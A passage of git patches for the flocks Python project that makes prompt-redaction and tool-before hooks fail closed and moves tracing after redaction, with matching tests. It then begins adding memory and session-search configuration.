From 40710fcf47649c66d95e14f25c0ddea87d8dac0e Mon Sep 17 00:00:00 2001 From: guoxiao Date: Tue, 14 Jul 2026 17:25:27 +0800 Subject: [PATCH 02/67] Harden prompt redaction hook handling --- .../session/lifecycle/compaction/summary.py | 8 +- flocks/session/lifecycle/title.py | 8 +- flocks/session/runner.py | 119 ++++++++-------- tests/session/test_cli_title_generation.py | 35 +++++ .../test_compaction_iterative_summary.py | 35 +++++ tests/session/test_runner_llm_hooks.py | 128 ++++++++++++++++++ 6 files changed, 269 insertions(+), 64 deletions(-) diff --git a/flocks/session/lifecycle/compaction/summary.py b/flocks/session/lifecycle/compaction/summary.py index 3b0b9f207..394efe462 100644 --- a/flocks/session/lifecycle/compaction/summary.py +++ b/flocks/session/lifecycle/compaction/summary.py @@ -204,18 +204,20 @@ async def _llm_chat_with_timeout( "providerToolsEnabled": False, }, }) + hook_output = getattr(llm_before_ctx, "output", None) or {} messages, provider_options = apply_hook_request_output( messages, provider_options, - llm_before_ctx.output or {}, + hook_output, ) - replacements = stream_text_replacements_from_hook_output(llm_before_ctx.output or {}) + replacements = stream_text_replacements_from_hook_output(hook_output) except Exception as hook_err: - log.debug("compaction.llm_before_hook.error", { + log.error("compaction.llm_before_hook.error", { "session_id": session_id, "purpose": purpose, "error": str(hook_err), }) + raise RuntimeError("compaction llm_before hook failed; request was not sent") from hook_err provider_options.setdefault("max_tokens", max_tokens) response = await asyncio.wait_for( diff --git a/flocks/session/lifecycle/title.py b/flocks/session/lifecycle/title.py index 382af3cb1..f9bdf5680 100644 --- a/flocks/session/lifecycle/title.py +++ b/flocks/session/lifecycle/title.py @@ -169,17 +169,19 @@ async def generate_title_after_first_message( "providerToolsEnabled": False, }, }) + hook_output = getattr(llm_before_ctx, "output", None) or {} title_messages, provider_options = apply_hook_request_output( title_messages, provider_options, - llm_before_ctx.output or {}, + hook_output, ) - replacements = stream_text_replacements_from_hook_output(llm_before_ctx.output or {}) + replacements = stream_text_replacements_from_hook_output(hook_output) except Exception as hook_err: - log.debug("title.llm_before_hook.error", { + log.error("title.llm_before_hook.error", { "session_id": session_id, "error": str(hook_err), }) + raise RuntimeError("title llm_before hook failed; request was not sent") from hook_err provider_options.setdefault("max_tokens", 50) async for chunk in provider.chat_stream( diff --git a/flocks/session/runner.py b/flocks/session/runner.py index 85e52ea4e..b13305c5f 100644 --- a/flocks/session/runner.py +++ b/flocks/session/runner.py @@ -2542,64 +2542,8 @@ def _build_llm_response_payload( reasoning_id_counter = 0 stream_finish_reason: Optional[str] = None - # -- Observability: create trace & generation scopes (safe no-op when - # Langfuse is unconfigured). All observability calls are wrapped in - # try/except so they never break the core session flow. trace_ctx = None generation_ctx = None - if langfuse_is_active(): - try: - input_preview = [] - for _msg in messages[-12:]: - _mc = _msg.content or "" - input_preview.append( - {"role": _msg.role, "chars": len(_mc), "preview": _mc[:240]} - ) - - trace_tags = [ - f"session:{self.session.id}", - f"step:{self._step}", - f"session_step:{self.session.id}:{self._step}", - f"agent:{agent.name}", - f"provider:{self.provider_id}", - ] - trace_ctx = trace_scope( - name="SessionRunner.step", - session_id=self.session.id, - tags=trace_tags, - input={ - "step": self._step, - "message_count": len(messages), - "tool_count": len(tools), - "last_user_preview": next( - ((m.content or "")[:280] for m in reversed(messages) if m.role == "user"), - "", - ), - }, - metadata={ - "provider_id": self.provider_id, - "model_id": self.model_id, - "agent": agent.name, - "workspace": self.session.directory, - }, - ) - generation_ctx = generation_scope( - parent=trace_ctx.observation, - name="LLM.generate", - model=self.model_id, - input=input_preview, - metadata={ - "provider_id": self.provider_id, - "session_id": self.session.id, - "step": self._step, - "tool_names": [t.get("function", {}).get("name", "") for t in tools][:50], - }, - ) - processor._langfuse_generation = generation_ctx.observation - except Exception as exc: - log.debug("runner.observability.init_failed", {"error": str(exc)}) - trace_ctx = None - generation_ctx = None # Validate messages - ensure we have at least one non-system message non_system_messages = [m for m in messages if m.role != "system"] @@ -2692,7 +2636,7 @@ async def _flush_reasoning_rewriter() -> None: try: hook_started_at = time.perf_counter() llm_before_ctx = await HookPipeline.run_llm_before(llm_before_hook_input) - hook_output = llm_before_ctx.output or {} + hook_output = getattr(llm_before_ctx, "output", None) or {} replacements = stream_text_replacements_from_hook_output(hook_output) if replacements: stream_text_rewriter = StreamingTextReplacementBuffer(replacements) @@ -2715,7 +2659,66 @@ async def _flush_reasoning_rewriter() -> None: tool_count=len(tools), ) except Exception as exc: - log.debug("runner.hook.llm_before.error", {"error": str(exc)}) + log.error("runner.hook.llm_before.error", {"error": str(exc)}) + raise RuntimeError("LLM before-hook failed; request was not sent") from exc + + # -- Observability: create trace & generation scopes after llm_before, + # so previews use the same redacted messages that will be sent to the provider. + # All observability calls are wrapped in try/except so they never break + # the core session flow. + if langfuse_is_active(): + try: + input_preview = [] + for _msg in messages[-12:]: + _mc = _msg.content or "" + input_preview.append( + {"role": _msg.role, "chars": len(_mc), "preview": _mc[:240]} + ) + + trace_tags = [ + f"session:{self.session.id}", + f"step:{self._step}", + f"session_step:{self.session.id}:{self._step}", + f"agent:{agent.name}", + f"provider:{self.provider_id}", + ] + trace_ctx = trace_scope( + name="SessionRunner.step", + session_id=self.session.id, + tags=trace_tags, + input={ + "step": self._step, + "message_count": len(messages), + "tool_count": len(tools), + "last_user_preview": next( + ((m.content or "")[:280] for m in reversed(messages) if m.role == "user"), + "", + ), + }, + metadata={ + "provider_id": self.provider_id, + "model_id": self.model_id, + "agent": agent.name, + "workspace": self.session.directory, + }, + ) + generation_ctx = generation_scope( + parent=trace_ctx.observation, + name="LLM.generate", + model=self.model_id, + input=input_preview, + metadata={ + "provider_id": self.provider_id, + "session_id": self.session.id, + "step": self._step, + "tool_names": [t.get("function", {}).get("name", "") for t in tools][:50], + }, + ) + processor._langfuse_generation = generation_ctx.observation + except Exception as exc: + log.debug("runner.observability.init_failed", {"error": str(exc)}) + trace_ctx = None + generation_ctx = None llm_call_started_at = time.perf_counter() first_chunk_logged = False diff --git a/tests/session/test_cli_title_generation.py b/tests/session/test_cli_title_generation.py index 4693d3a8f..18643fb4d 100644 --- a/tests/session/test_cli_title_generation.py +++ b/tests/session/test_cli_title_generation.py @@ -190,6 +190,41 @@ async def failing_stream(*args, **kwargs): assert title == "Help me with something" mock_update.assert_awaited_once() + @pytest.mark.asyncio + async def test_falls_back_without_provider_call_when_llm_before_hook_fails(self): + """A failing llm_before hook blocks title provider calls and uses local fallback.""" + from flocks.session.lifecycle.title import SessionTitle + from flocks.hooks.pipeline import HookPipeline + + question = "Contact alice@example.com about the alert" + mock_session = _make_session() + msg, part = _make_user_msg(question) + mock_provider = MagicMock() + mock_provider.chat_stream = MagicMock(side_effect=AssertionError("provider must not be called")) + mock_update = AsyncMock() + + patches = _patch_title_deps(mock_session, [msg], [part], mock_provider, mock_update) + with ( + patches[0], + patches[1], + patches[2], + patches[3], + patches[4], + patches[5], + patches[6], + patch.object(HookPipeline, "has_stage_handlers", new=AsyncMock(return_value=True)), + patch.object(HookPipeline, "run_llm_before", new=AsyncMock(side_effect=RuntimeError("hook boom"))), + ): + title = await SessionTitle.generate_title_after_first_message( + session_id="sess-1", + model_id="claude-3", + provider_id="anthropic", + ) + + assert title == SessionTitle._generate_simple_title(question) + mock_provider.chat_stream.assert_not_called() + mock_update.assert_awaited_once() + @pytest.mark.asyncio async def test_publishes_sse_event_when_callback_provided(self): """SSE event is published when event_publish_callback is given (Web path).""" diff --git a/tests/session/test_compaction_iterative_summary.py b/tests/session/test_compaction_iterative_summary.py index 17c0a4117..634167219 100644 --- a/tests/session/test_compaction_iterative_summary.py +++ b/tests/session/test_compaction_iterative_summary.py @@ -25,10 +25,12 @@ ) from flocks.session.lifecycle.compaction import compaction as compaction_module from flocks.session.lifecycle.compaction.summary import ( + _llm_chat_with_timeout, build_iterative_prompt, summarize_chunked_iterative, summarize_single_pass, ) +from flocks.provider.provider import ChatMessage # --------------------------------------------------------------------------- @@ -610,3 +612,36 @@ async def test_no_previous_summary_uses_default_prompt(self) -> None: body = call.kwargs["messages"][0].content assert "<<>>" not in body assert "## Decisions" in body + + +@pytest.mark.asyncio +async def test_compaction_provider_call_blocks_when_llm_before_hook_fails( + monkeypatch: pytest.MonkeyPatch, +) -> None: + from flocks.hooks.pipeline import HookPipeline, HookStage + + provider = MagicMock() + provider.chat = AsyncMock(side_effect=AssertionError("provider must not be called")) + + monkeypatch.setattr( + HookPipeline, + "has_stage_handlers", + AsyncMock(side_effect=lambda stage, _metadata=None: stage == HookStage.LLM_BEFORE), + ) + monkeypatch.setattr( + HookPipeline, + "run_llm_before", + AsyncMock(side_effect=RuntimeError("hook boom")), + ) + + with pytest.raises(RuntimeError, match="request was not sent"): + await _llm_chat_with_timeout( + provider_client=provider, + model_id="test-model", + messages=[ChatMessage(role="user", content="email alice@example.com")], + max_tokens=100, + timeout=5, + session_id="ses_compaction_hook_fail", + ) + + provider.chat.assert_not_awaited() diff --git a/tests/session/test_runner_llm_hooks.py b/tests/session/test_runner_llm_hooks.py index fe63a9688..51cc6c017 100644 --- a/tests/session/test_runner_llm_hooks.py +++ b/tests/session/test_runner_llm_hooks.py @@ -247,6 +247,134 @@ async def _gen(): assert order == ["before", "provider", "after"] +@pytest.mark.asyncio +async def test_call_llm_blocks_provider_when_llm_before_hook_fails(monkeypatch: pytest.MonkeyPatch): + runner = _make_runner("ses_runner_llm_before_fail_closed") + assistant_msg = SimpleNamespace(id="msg_assistant_before_fail") + agent = SimpleNamespace(name="rex") + + monkeypatch.setattr(runner_mod, "StreamProcessor", _FakeProcessor) + monkeypatch.setattr( + runner_mod.HookPipeline, + "has_stage_handlers", + AsyncMock(side_effect=lambda stage, _metadata=None: stage == runner_mod.HookStage.LLM_BEFORE), + ) + monkeypatch.setattr( + runner_mod.HookPipeline, + "run_llm_before", + AsyncMock(side_effect=RuntimeError("redaction unavailable")), + ) + monkeypatch.setattr( + runner_mod, + "langfuse_is_active", + lambda: False, + ) + monkeypatch.setattr( + "flocks.provider.options.build_provider_options", + lambda provider_id, model_id: {}, + ) + monkeypatch.setattr( + "flocks.session.streaming.tool_accumulator.ToolCallAccumulator", + _FakeToolAccumulator, + ) + + class _Provider: + def chat_stream(self, **kwargs): + raise AssertionError("provider must not be called when llm_before fails") + + with pytest.raises(RuntimeError, match="request was not sent"): + await runner._call_llm( + provider=_Provider(), + messages=[ChatMessage(role="user", content="email alice@example.com")], + tools=[], + agent=agent, + assistant_msg=assistant_msg, + ) + + +@pytest.mark.asyncio +async def test_call_llm_initializes_langfuse_after_llm_before_redaction(monkeypatch: pytest.MonkeyPatch): + runner = _make_runner("ses_runner_langfuse_redacted") + assistant_msg = SimpleNamespace(id="msg_assistant_langfuse_redacted") + agent = SimpleNamespace(name="rex") + generation_inputs: list[list[dict[str, object]]] = [] + trace_inputs: list[dict[str, object]] = [] + + async def _before(payload): + raw_messages = payload["request"]["messages"] + assert raw_messages[0]["content"] == "email alice@example.com" + return SimpleNamespace( + output={ + "request": { + **payload["request"], + "messages": [{"role": "user", "content": "email [[V_EMAIL_1]]"}], + "providerOptions": {}, + }, + "redaction": { + "streamTextReplacements": [ + {"placeholder": "[[V_EMAIL_1]]", "value": "alice@example.com"} + ], + }, + } + ) + + def _trace_scope(**kwargs): + trace_inputs.append(kwargs["input"]) + return SimpleNamespace(observation="trace") + + def _generation_scope(**kwargs): + generation_inputs.append(kwargs["input"]) + return SimpleNamespace(observation="generation") + + monkeypatch.setattr(runner_mod, "StreamProcessor", _FakeProcessor) + monkeypatch.setattr( + runner_mod.HookPipeline, + "has_stage_handlers", + AsyncMock(side_effect=lambda stage, _metadata=None: stage == runner_mod.HookStage.LLM_BEFORE), + ) + monkeypatch.setattr( + runner_mod.HookPipeline, + "run_llm_before", + AsyncMock(side_effect=_before), + ) + monkeypatch.setattr(runner_mod, "langfuse_is_active", lambda: True) + monkeypatch.setattr(runner_mod, "trace_scope", _trace_scope) + monkeypatch.setattr(runner_mod, "generation_scope", _generation_scope) + monkeypatch.setattr( + "flocks.provider.options.build_provider_options", + lambda provider_id, model_id: {}, + ) + monkeypatch.setattr( + "flocks.session.streaming.tool_accumulator.ToolCallAccumulator", + _FakeToolAccumulator, + ) + monkeypatch.setattr(runner_mod.Message, "update", AsyncMock(return_value=None)) + + class _Provider: + def chat_stream(self, **kwargs): + assert kwargs["messages"][0].content == "email [[V_EMAIL_1]]" + + async def _gen(): + yield SimpleNamespace(delta="done", finish_reason="stop") + + return _gen() + + result = await runner._call_llm( + provider=_Provider(), + messages=[ChatMessage(role="user", content="email alice@example.com")], + tools=[], + agent=agent, + assistant_msg=assistant_msg, + ) + + assert result.action == "stop" + assert generation_inputs + assert trace_inputs + assert "alice@example.com" not in str(generation_inputs) + assert "alice@example.com" not in str(trace_inputs) + assert "[[V_EMAIL_1]]" in str(generation_inputs) + + @pytest.mark.asyncio async def test_call_llm_emits_after_hook_on_error(monkeypatch: pytest.MonkeyPatch): runner = _make_runner("ses_runner_llm_hooks_error") From 7de5e1ed5b42efe6ae944368d76c240709dbc776 Mon Sep 17 00:00:00 2001 From: guoxiao Date: Mon, 20 Jul 2026 10:46:48 +0800 Subject: [PATCH 03/67] Harden Pro prompt redaction integration --- flocks/session/goal.py | 90 +++++++++++++++++--- flocks/session/runner.py | 3 +- flocks/session/streaming/stream_processor.py | 9 +- tests/session/test_goal.py | 59 +++++++++++++ tests/session/test_runner_llm_hooks.py | 40 +++++++++ tests/session/test_stream_processor.py | 31 +++++++ 6 files changed, 217 insertions(+), 15 deletions(-) diff --git a/flocks/session/goal.py b/flocks/session/goal.py index 29c1b5b80..0e52adf11 100644 --- a/flocks/session/goal.py +++ b/flocks/session/goal.py @@ -11,6 +11,12 @@ from flocks.provider.options import build_provider_options from flocks.provider.provider import ChatMessage, Provider +from flocks.session.llm_hook_utils import ( + apply_hook_request_output, + restore_text_with_replacements, + serialize_chat_message, + stream_text_replacements_from_hook_output, +) from flocks.storage.storage import Storage from flocks.utils.log import Log @@ -174,6 +180,7 @@ async def judge_goal_with_model( *, provider_id: str, model_id: str, + session_id: Optional[str] = None, initial_clarification: Optional[GoalClarification] = None, ) -> tuple[GoalVerdict, str]: """Hermes-style model judge using the active session provider/model.""" @@ -183,26 +190,84 @@ async def judge_goal_with_model( provider_options = build_provider_options(provider_id, model_id) provider_options.pop("max_tokens", None) + messages = [ + ChatMessage(role="system", content=_MODEL_JUDGE_SYSTEM_PROMPT), + ChatMessage( + role="user", + content=( + f"Goal:\n{_format_goal_context(objective, initial_clarification)}\n\n" + "Latest assistant final response (truncated to the last 4KB):\n" + f"{_judge_input(last_response)}" + ), + ), + ] + replacements: list[tuple[str, str]] = [] + if session_id: + from flocks.hooks.pipeline import HookPipeline, HookStage + + hook_metadata = { + "sessionID": session_id, + "agent": "goal_judge", + "model": { + "providerID": provider_id, + "modelID": model_id, + }, + "purpose": "goal_judge", + } + try: + llm_before_enabled = await HookPipeline.has_stage_handlers( + HookStage.LLM_BEFORE, + hook_metadata, + ) + except Exception as exc: + log.error("goal.model_judge.hook_stage_probe_failed", { + "session_id": session_id, + "provider_id": provider_id, + "model_id": model_id, + "error": str(exc), + }) + raise RuntimeError("Goal judge before-hook stage probe failed; request was not sent") from exc + + if llm_before_enabled: + try: + hook_ctx = await HookPipeline.run_llm_before({ + **hook_metadata, + "request": { + "messageCount": len(messages), + "messages": [serialize_chat_message(message) for message in messages], + "toolCount": 0, + "tools": [], + "providerOptions": dict(provider_options), + "providerToolsEnabled": False, + }, + }) + hook_output = getattr(hook_ctx, "output", None) or {} + replacements = stream_text_replacements_from_hook_output(hook_output) + messages, provider_options = apply_hook_request_output( + messages, + provider_options, + hook_output, + ) + provider_options.pop("max_tokens", None) + except Exception as exc: + log.error("goal.model_judge.llm_before_failed", { + "session_id": session_id, + "provider_id": provider_id, + "model_id": model_id, + "error": str(exc), + }) + raise RuntimeError("Goal judge before-hook failed; request was not sent") from exc response = await provider.chat( model_id=model_id, - messages=[ - ChatMessage(role="system", content=_MODEL_JUDGE_SYSTEM_PROMPT), - ChatMessage( - role="user", - content=( - f"Goal:\n{_format_goal_context(objective, initial_clarification)}\n\n" - "Latest assistant final response (truncated to the last 4KB):\n" - f"{_judge_input(last_response)}" - ), - ), - ], + messages=messages, **provider_options, max_tokens=JUDGE_MAX_TOKENS, temperature=0, ) - payload = _extract_json_object(response.content) + response_content = restore_text_with_replacements(response.content, replacements) + payload = _extract_json_object(response_content) verdict = str(payload.get("verdict") or "").strip().lower() reason = _trim_reason(str(payload.get("reason") or "")) if verdict not in {"complete", "blocked", "waiting", "continue"}: @@ -352,6 +417,7 @@ async def evaluate_after_turn( last_response, provider_id=provider_id, model_id=model_id, + session_id=session_id, initial_clarification=state.initial_clarification, ) except Exception as exc: diff --git a/flocks/session/runner.py b/flocks/session/runner.py index b13305c5f..86613b5f3 100644 --- a/flocks/session/runner.py +++ b/flocks/session/runner.py @@ -2619,7 +2619,8 @@ async def _flush_reasoning_rewriter() -> None: llm_hook_metadata, ) except Exception as exc: - log.debug("runner.hook.stage_probe.error", {"error": str(exc)}) + log.error("runner.hook.stage_probe.error", {"error": str(exc)}) + raise RuntimeError("LLM hook stage probe failed; request was not sent") from exc if llm_before_enabled: llm_before_hook_input = { diff --git a/flocks/session/streaming/stream_processor.py b/flocks/session/streaming/stream_processor.py index a12b62d24..6dfbd572c 100644 --- a/flocks/session/streaming/stream_processor.py +++ b/flocks/session/streaming/stream_processor.py @@ -571,6 +571,8 @@ async def _handle_tool_call(self, event: ToolCallEvent) -> None: # Hook pipeline: tool.execute.before # Apply any input rewrite before publishing the running state so UI # surfaces show the actual tool input that will be executed. + hook_skip = False + hook_skip_error = "Tool execution blocked by hook" try: from flocks.hooks.pipeline import HookPipeline hook_ctx = await HookPipeline.run_tool_before({ @@ -590,9 +592,12 @@ async def _handle_tool_call(self, event: ToolCallEvent) -> None: tool_state.input = tool_input hook_output = hook_ctx.output if hook_ctx and isinstance(hook_ctx.output, dict) else {} hook_skip = hook_output.get("skip", False) + if isinstance(hook_output.get("error"), str) and hook_output["error"].strip(): + hook_skip_error = hook_output["error"].strip() except Exception as e: log.error("stream.tool_before_hook.error", {"error": str(e)}) - hook_skip = False + hook_skip = True + hook_skip_error = "Tool execution blocked because tool-before hook failed" tool_state.status = "running" @@ -705,7 +710,7 @@ async def _handle_tool_call(self, event: ToolCallEvent) -> None: if hook_skip: result = ToolResult( success=False, - error="Tool execution blocked by hook", + error=hook_skip_error, ) else: sandbox_meta = await self._resolve_sandbox_meta(tool_name) diff --git a/tests/session/test_goal.py b/tests/session/test_goal.py index 7e845d7f3..f9a538a0e 100644 --- a/tests/session/test_goal.py +++ b/tests/session/test_goal.py @@ -234,6 +234,65 @@ async def test_goal_evaluation_uses_model_judge_when_provider_model_are_availabl assert decision.reason == "The final response says the implementation and tests are complete." +@pytest.mark.asyncio +async def test_goal_model_judge_applies_llm_before_hook(monkeypatch: pytest.MonkeyPatch): + session_id = "goal_model_judge_redaction_session" + await GoalManager.set_goal(session_id, "handle alice@example.com") + provider = SimpleNamespace( + chat=AsyncMock(return_value=SimpleNamespace( + content='{"verdict": "continue", "reason": "Need more work for [[V_EMAIL_1]]."}' + )) + ) + + async def _run_llm_before(payload): + assert payload["sessionID"] == session_id + assert "alice@example.com" in payload["request"]["messages"][1]["content"] + updated_request = dict(payload["request"]) + updated_request["messages"] = [ + payload["request"]["messages"][0], + { + **payload["request"]["messages"][1], + "content": payload["request"]["messages"][1]["content"].replace( + "alice@example.com", + "[[V_EMAIL_1]]", + ), + }, + ] + return SimpleNamespace( + output={ + "request": updated_request, + "redaction": { + "streamTextReplacements": [ + {"placeholder": "[[V_EMAIL_1]]", "value": "alice@example.com"} + ] + }, + } + ) + + monkeypatch.setattr( + "flocks.hooks.pipeline.HookPipeline.has_stage_handlers", + AsyncMock(return_value=True), + ) + monkeypatch.setattr( + "flocks.hooks.pipeline.HookPipeline.run_llm_before", + AsyncMock(side_effect=_run_llm_before), + ) + + with patch("flocks.session.goal.Provider.get", return_value=provider): + decision = await GoalManager.evaluate_after_turn( + session_id, + "Latest response mentions alice@example.com.", + provider_id="test-provider", + model_id="test-model", + ) + + provider.chat.assert_awaited_once() + sent_prompt = provider.chat.await_args.kwargs["messages"][1].content + assert "alice@example.com" not in sent_prompt + assert "[[V_EMAIL_1]]" in sent_prompt + assert decision.reason == "Need more work for alice@example.com." + + @pytest.mark.asyncio async def test_goal_model_judge_receives_initial_clarification(): session_id = "goal_model_judge_clarification_session" diff --git a/tests/session/test_runner_llm_hooks.py b/tests/session/test_runner_llm_hooks.py index 51cc6c017..cc473ded4 100644 --- a/tests/session/test_runner_llm_hooks.py +++ b/tests/session/test_runner_llm_hooks.py @@ -292,6 +292,46 @@ def chat_stream(self, **kwargs): ) +@pytest.mark.asyncio +async def test_call_llm_blocks_provider_when_hook_stage_probe_fails(monkeypatch: pytest.MonkeyPatch): + runner = _make_runner("ses_runner_hook_probe_fail_closed") + assistant_msg = SimpleNamespace(id="msg_assistant_probe_fail") + agent = SimpleNamespace(name="rex") + + monkeypatch.setattr(runner_mod, "StreamProcessor", _FakeProcessor) + monkeypatch.setattr( + runner_mod.HookPipeline, + "has_stage_handlers", + AsyncMock(side_effect=RuntimeError("hook registry unavailable")), + ) + monkeypatch.setattr( + runner_mod, + "langfuse_is_active", + lambda: False, + ) + monkeypatch.setattr( + "flocks.provider.options.build_provider_options", + lambda provider_id, model_id: {}, + ) + monkeypatch.setattr( + "flocks.session.streaming.tool_accumulator.ToolCallAccumulator", + _FakeToolAccumulator, + ) + + class _Provider: + def chat_stream(self, **kwargs): + raise AssertionError("provider must not be called when hook probe fails") + + with pytest.raises(RuntimeError, match="stage probe failed"): + await runner._call_llm( + provider=_Provider(), + messages=[ChatMessage(role="user", content="email alice@example.com")], + tools=[], + agent=agent, + assistant_msg=assistant_msg, + ) + + @pytest.mark.asyncio async def test_call_llm_initializes_langfuse_after_llm_before_redaction(monkeypatch: pytest.MonkeyPatch): runner = _make_runner("ses_runner_langfuse_redacted") diff --git a/tests/session/test_stream_processor.py b/tests/session/test_stream_processor.py index f43af732c..00818b308 100644 --- a/tests/session/test_stream_processor.py +++ b/tests/session/test_stream_processor.py @@ -496,6 +496,37 @@ async def _fake_tool_before(payload): ] assert running_inputs == [{"ip": "10.1.2.3"}] + @pytest.mark.asyncio + async def test_tool_before_failure_blocks_tool_execution(self): + proc = _make_processor() + execute_mock = AsyncMock(return_value=ToolResult(success=True, output="should not run", title="ip query")) + + with ( + patch("flocks.session.streaming.stream_processor.Message.store_part", new=AsyncMock()), + patch("flocks.session.streaming.stream_processor.Message.update_part", new=AsyncMock()), + patch( + "flocks.session.streaming.stream_processor.ToolRegistry.execute", + new=execute_mock, + ), + patch( + "flocks.hooks.pipeline.HookPipeline.run_tool_before", + new=AsyncMock(side_effect=RuntimeError("redaction restore failed")), + ), + ): + await proc.process_event(ToolInputStartEvent(id="tc_hook_fail", tool_name="ip_query")) + await proc.process_event( + ToolCallEvent( + tool_call_id="tc_hook_fail", + tool_name="ip_query", + input={"ip": "[[V_IP_ADDRESS_1]]"}, + ) + ) + + execute_mock.assert_not_awaited() + state = proc.tool_calls["tc_hook_fail"] + assert state.status == "error" + assert state.error == "Tool execution blocked because tool-before hook failed" + @pytest.mark.asyncio async def test_cancelled_tool_blocks_late_running_metadata_updates(self): event_callback = AsyncMock() From 09d4c5456ddd535f40fe927b3d4fd1fc50bf1695 Mon Sep 17 00:00:00 2001 From: xiami762 <> Date: Thu, 30 Jul 2026 18:36:39 +0800 Subject: [PATCH 04/67] feat(memory): add global and session search --- flocks/config/config_writer.py | 66 +- flocks/hooks/builtin/slug_generator.py | 2 +- flocks/memory/__init__.py | 2 + flocks/memory/config.py | 33 +- flocks/memory/manager.py | 399 ++++++++--- flocks/memory/search/hybrid.py | 69 +- flocks/memory/sync/indexer.py | 333 +++++---- flocks/memory/types.py | 8 +- flocks/session/features/memory.py | 7 +- flocks/session/message.py | 214 +++++- flocks/session/session.py | 8 + flocks/storage/__init__.py | 2 + flocks/storage/session_search.py | 671 ++++++++++++++++++ flocks/storage/storage.py | 39 +- flocks/storage/vector.py | 205 +++++- tests/config/test_config_init.py | 40 +- tests/memory/test_memory_scope.py | 311 ++++++++ .../memory/test_session_transcript_search.py | 622 ++++++++++++++++ .../session/test_message_parts_persistence.py | 19 +- tests/storage/test_storage.py | 44 ++ 20 files changed, 2779 insertions(+), 315 deletions(-) create mode 100644 flocks/storage/session_search.py create mode 100644 tests/memory/test_memory_scope.py create mode 100644 tests/memory/test_session_transcript_search.py diff --git a/flocks/config/config_writer.py b/flocks/config/config_writer.py index 7251c6d17..9ba939133 100644 --- a/flocks/config/config_writer.py +++ b/flocks/config/config_writer.py @@ -77,6 +77,8 @@ def ensure_config_files() -> None: "error": str(e), }) + ConfigWriter.ensure_memory_config() + class ConfigWriter: """Atomic read-modify-write operations on the provider section of flocks.json.""" @@ -106,9 +108,13 @@ def _read_raw(cls) -> Dict[str, Any]: return {} @classmethod - def _write_raw(cls, data: Dict[str, Any]) -> None: + def _write_raw( + cls, + data: Dict[str, Any], + path: Optional[Path] = None, + ) -> None: """Atomic write: write to tmp file then rename, then clear Config cache.""" - path = cls._get_config_path() + path = path or cls._get_config_path() path.parent.mkdir(parents=True, exist_ok=True) # Atomic write via temp file in same directory @@ -136,6 +142,62 @@ def _write_raw(cls, data: Dict[str, Any]) -> None: log.debug("config_writer.written", {"path": str(path)}) + @classmethod + def ensure_memory_config(cls) -> bool: + """Persist the editable Memory Search config when absent.""" + path = Config.get_config_file() + try: + text = path.read_text(encoding="utf-8") if path.exists() else "" + data = json.loads(text) if text.strip() else {} + except (json.JSONDecodeError, OSError) as exc: + log.error( + "config_writer.memory_config_init_failed", + {"path": str(path), "error": str(exc)}, + ) + return False + + if not isinstance(data, dict): + log.error( + "config_writer.memory_config_init_failed", + {"path": str(path), "error": "top-level config must be an object"}, + ) + return False + if "memory" in data: + return False + + from flocks.memory.config import MemoryConfig + + default_config = MemoryConfig() + data["memory"] = { + "search": { + "embedding": default_config.search.embedding.model_dump( + mode="json", + exclude_none=True, + ), + }, + } + cls._write_raw(data, path=path) + log.info("config_writer.memory_config_initialized", {"path": str(path)}) + return True + + @classmethod + def enable_memory_source(cls, source: str) -> bool: + """Persist a Memory source without rewriting unrelated config.""" + data = cls._read_raw() + memory = data.get("memory") + if not isinstance(memory, dict): + memory = {} + sources = memory.get("sources") + if not isinstance(sources, list): + sources = ["memory"] + if source in sources: + return False + memory["sources"] = [*sources, source] + data["memory"] = memory + cls._write_raw(data) + log.info("config_writer.memory_source_enabled", {"source": source}) + return True + # ------------------------------------------------------------------ # Provider-level CRUD # ------------------------------------------------------------------ diff --git a/flocks/hooks/builtin/slug_generator.py b/flocks/hooks/builtin/slug_generator.py index 2ff78a3dd..2bbc2073a 100644 --- a/flocks/hooks/builtin/slug_generator.py +++ b/flocks/hooks/builtin/slug_generator.py @@ -46,7 +46,7 @@ async def generate_slug_via_llm( """ # Get provider configuration - provider_id = getattr(config.memory.embedding, 'provider', 'openai') + provider_id = getattr(config.memory.search.embedding, 'provider', 'openai') if provider_id == "auto": provider_id = "openai" diff --git a/flocks/memory/__init__.py b/flocks/memory/__init__.py index d13797cb3..36c70deec 100644 --- a/flocks/memory/__init__.py +++ b/flocks/memory/__init__.py @@ -28,6 +28,7 @@ from flocks.memory.config import ( MemoryConfig, MemoryEmbeddingConfig, + MemorySearchConfig, MemoryChunkingConfig, MemorySyncConfig, MemoryQueryConfig, @@ -68,6 +69,7 @@ # Config "MemoryConfig", "MemoryEmbeddingConfig", + "MemorySearchConfig", "MemoryChunkingConfig", "MemorySyncConfig", "MemoryQueryConfig", diff --git a/flocks/memory/config.py b/flocks/memory/config.py index 7d349862a..21dea8f3d 100644 --- a/flocks/memory/config.py +++ b/flocks/memory/config.py @@ -10,6 +10,10 @@ class MemoryEmbeddingConfig(BaseModel): """Embedding provider configuration""" + enabled: bool = Field( + False, + description="Enable vector embeddings for Memory search", + ) provider: Literal["auto", "openai", "google", "local"] = Field( "auto", description="Embedding provider (auto=try openai then google)" @@ -32,6 +36,15 @@ class MemoryEmbeddingConfig(BaseModel): ) +class MemorySearchConfig(BaseModel): + """Memory search configuration.""" + + embedding: MemoryEmbeddingConfig = Field( + default_factory=MemoryEmbeddingConfig, + description="Embedding configuration", + ) + + class MemoryChunkingConfig(BaseModel): """Text chunking configuration""" tokens: int = Field( @@ -52,7 +65,7 @@ class MemorySyncSessionConfig(BaseModel): ) delta_messages: int = Field( 50, - description="Number of new messages to trigger sync" + description="Batch size for session transcript reconciliation" ) @@ -64,7 +77,7 @@ class MemorySyncConfig(BaseModel): ) on_search: bool = Field( True, - description="Sync before search if dirty" + description="Reconcile filesystem Memory before every search" ) watch: bool = Field( True, @@ -295,9 +308,9 @@ class MemoryConfig(BaseModel): ) # Sub-configurations - embedding: MemoryEmbeddingConfig = Field( - default_factory=MemoryEmbeddingConfig, - description="Embedding configuration" + search: MemorySearchConfig = Field( + default_factory=MemorySearchConfig, + description="Memory search configuration", ) chunking: MemoryChunkingConfig = Field( default_factory=MemoryChunkingConfig, @@ -330,7 +343,15 @@ class MemoryConfig(BaseModel): def resolve_memory_config(app_config: object) -> MemoryConfig: - """Resolve runtime Memory config, using defaults when absent.""" + """Resolve runtime Memory config, using defaults when absent. + + Args: + app_config: Loaded application configuration. + + Returns: + Configured Memory settings, or defaults when the application has no + Memory section. + """ memory_config = getattr(app_config, "memory", None) if isinstance(memory_config, MemoryConfig): return memory_config diff --git a/flocks/memory/manager.py b/flocks/memory/manager.py index 2f1857faa..99978a79e 100644 --- a/flocks/memory/manager.py +++ 